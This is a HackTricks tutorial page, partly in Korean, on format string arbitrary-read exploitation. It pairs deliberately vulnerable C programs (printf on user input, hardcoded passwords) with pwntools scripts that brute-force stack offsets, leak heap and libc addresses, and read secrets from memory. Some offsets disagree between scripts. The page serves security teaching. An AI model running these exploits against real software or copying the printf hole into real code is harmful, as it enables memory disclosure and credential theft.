Format Strings - Arbitrary Read Example

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

바이너리 읽기 시작

코드

#include <stdio.h>

int main(void) {
char buffer[30];

fgets(buffer, sizeof(buffer), stdin);

printf(buffer);
return 0;
}

다음과 같이 컴파일하세요:

clang -o fs-read fs-read.c -Wno-format-security -no-pie

Exploit

from pwn import *

p = process('./fs-read')

payload = f"%11$s|||||".encode()
payload += p64(0x00400000)

p.sendline(payload)
log.info(p.clean())
  • The offset is 11 이유는 여러 개의 A를 설정하고 brute-forcing 루프로 0에서 50까지 오프셋을 시도해 본 결과, offset 11에서 추가 문자 5개(이 경우 파이프 |)로 전체 address를 제어할 수 있음을 발견했기 때문입니다.
  • I used **%11$p**에 패딩을 추가하여 address가 모두 0x4141414141414141이 되도록 했습니다.
  • The format string payload is BEFORE the address 이유는 printf stops reading at a null byte 때문입니다. 따라서 address를 먼저 보내고 format string을 보내면, 그 전에 null byte가 발견되어 printf가 format string에 도달하지 못합니다.
  • The address selected is 0x00400000 이유는 binary가 시작하는 지점이기 때문입니다 (no PIE)

비밀번호 읽기

취약한 binary with stack and BSS passwords ```c #include #include

char bss_password[20] = “hardcodedPassBSS”; // Password in BSS

int main() { char stack_password[20] = “secretStackPass”; // Password in stack char input1[20], input2[20];

printf(“Enter first password: “); scanf(”%19s“, input1);

printf(“Enter second password: “); scanf(”%19s“, input2);

// Vulnerable printf printf(input1); printf(“\n”);

// Check both passwords if (strcmp(input1, stack_password) == 0 && strcmp(input2, bss_password) == 0) { printf(“Access Granted.\n”); } else { printf(“Access Denied.\n”); }

return 0; }

</details>

다음과 같이 컴파일하세요:
```bash
clang -o fs-read fs-read.c -Wno-format-security

Stack에서 읽기

로컬 변수이기 때문에 **stack_password**는 stack에 저장됩니다. 따라서 printf를 악용하여 stack의 내용을 보여주는 것만으로 충분합니다. 이것은 stack에서 passwords를 leak하기 위해 처음 100 위치를 BF하는 익스플로잇입니다:

from pwn import *

for i in range(100):
print(f"Try: {i}")
payload = f"%{i}$s\na".encode()
p = process("./fs-read")
p.sendline(payload)
output = p.clean()
print(output)
p.close()

이미지에서 스택의 10th 위치에서 비밀번호를 leak할 수 있음을 볼 수 있다:

데이터 읽기

같은 exploit를 %s 대신 %p로 실행하면 스택의 %25$p 위치에서 heap 주소를 leak할 수 있다. 또한 그 프로세스에서 비밀번호의 메모리 위치와 leaked 주소 (0xaaaab7030894)를 비교하면 주소 차이를 얻을 수 있다:

이제 두 번째 format string 취약점에서 접근하기 위해 스택의 1개 주소를 제어하는 방법을 찾아볼 차례다:

제어 가능한 스택 주소 찾기 ```python from pwn import *

def leak_heap(p): p.sendlineafter(b“first password:“, b”%5$p“) p.recvline() response = p.recvline().strip()[2:] #Remove new line and “0x” prefix return int(response, 16)

for i in range(30): p = process(“./fs-read”)

heap_leak_addr = leak_heap(p) print(f“Leaked heap: {hex(heap_leak_addr)}“)

password_addr = heap_leak_addr - 0x126a

print(f“Try: {i}“) payload = f”%{i}$p|||“.encode() payload += b“AAAAAAAA”

p.sendline(payload) output = p.clean() print(output.decode(“utf-8”)) p.close()

</details>

또한 **try 14**에서 사용한 passing으로 주소를 제어할 수 있음을 확인할 수 있습니다:

<figure><img src="broken-reference" alt="" width="563"><figcaption></figcaption></figure>

### Exploit

<details>
<summary>Leak heap then read password</summary>
```python
from pwn import *

p = process("./fs-read")

def leak_heap(p):
# At offset 25 there is a heap leak
p.sendlineafter(b"first password:", b"%25$p")
p.recvline()
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
return int(response, 16)

heap_leak_addr = leak_heap(p)
print(f"Leaked heap: {hex(heap_leak_addr)}")

# Offset calculated from the leaked position to the possition of the pass in memory
password_addr = heap_leak_addr + 0x1f7bc

print(f"Calculated address is: {hex(password_addr)}")

# At offset 14 we can control the addres, so use %s to read the string from that address
payload = f"%14$s|||".encode()
payload += p64(password_addr)

p.sendline(payload)
output = p.clean()
print(output)
p.close()

offset 발견 자동화

스택 레이아웃이 실행마다 변경될 때 (full ASLR/PIE), bruteforcing offsets를 수동으로 시도하는 것은 느립니다. pwntools는 우리의 제어 버퍼에 도달하는 인자 인덱스를 자동으로 탐지하기 위해 FmtStr을 제공합니다. lambda는 candidate payload를 전송한 후 프로그램 출력을 반환해야 합니다. 신뢰할 수 있게 메모리를 손상시키거나 관찰할 수 있게 되면 즉시 중지합니다.

from pwn import *

context.binary = elf = ELF('./fs-read', checksec=False)

# helper that sends payload and returns the first line printed
io = process()
def exec_fmt(payload):
io.sendline(payload)
return io.recvuntil(b'\n', drop=False)

fmt = FmtStr(exec_fmt=exec_fmt)
offset = fmt.offset
log.success(f"Discovered offset: {offset}")

그런 다음 offset을 재사용하여 fmtstr_payload로 arbitrary read/write payloads를 구성할 수 있어 수동으로 %p를 퍼징하는 것을 피할 수 있다.

PIE/libc leak then arbitrary read

PIE와 ASLR이 적용된 최신 바이너리에서는, 먼저 어떤 libc pointer든 leak(예: __libc_start_main+243 또는 setvbuf)하여 베이스를 계산한 뒤, 포맷 문자열 뒤에 대상 주소를 배치한다. 이렇게 하면 포인터 내부의 널 바이트 때문에 %s가 잘리는 것을 방지할 수 있다.

Leak libc and read arbitrary address ```python from pwn import *

elf = context.binary = ELF(‘./fs-read’, checksec=False) libc = ELF(‘/lib/x86_64-linux-gnu/libc.so.6’)

io = process()

leak libc address from stack (offset 25 from previous fuzz)

io.sendline(b“%25$p“) io.recvline() leak = int(io.recvline().strip(), 16) libc.address = leak - libc.symbols[‘__libc_start_main’] - 243 log.info(f“libc @ {hex(libc.address)}“)

secret = libc.address + 0x1f7bc # adjust to your target

payload = f“%14$s|||“.encode() payload += p64(secret)

io.sendline(payload) print(io.recvuntil(b“|||“)) # prints string at calculated address

</details>

## 참고자료

- [NVISO - Format string exploitation](https://blog.nviso.eu/2024/05/23/format-string-exploitation-a-hands-on-exploration-for-linux/)
- [Format string exploitation notes](https://hackmd.io/%40e20gJPRhRbKrBY5xcGKngA/SyM_Wcg_A)

> [!TIP]
> AWS 해킹 배우기 및 연습하기:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> GCP 해킹 배우기 및 연습하기: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Azure 해킹 배우기 및 연습하기: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>HackTricks 지원하기</summary>
>
> - [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
> - **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **트위터** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**를 팔로우하세요.**
> - **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
>
> </details>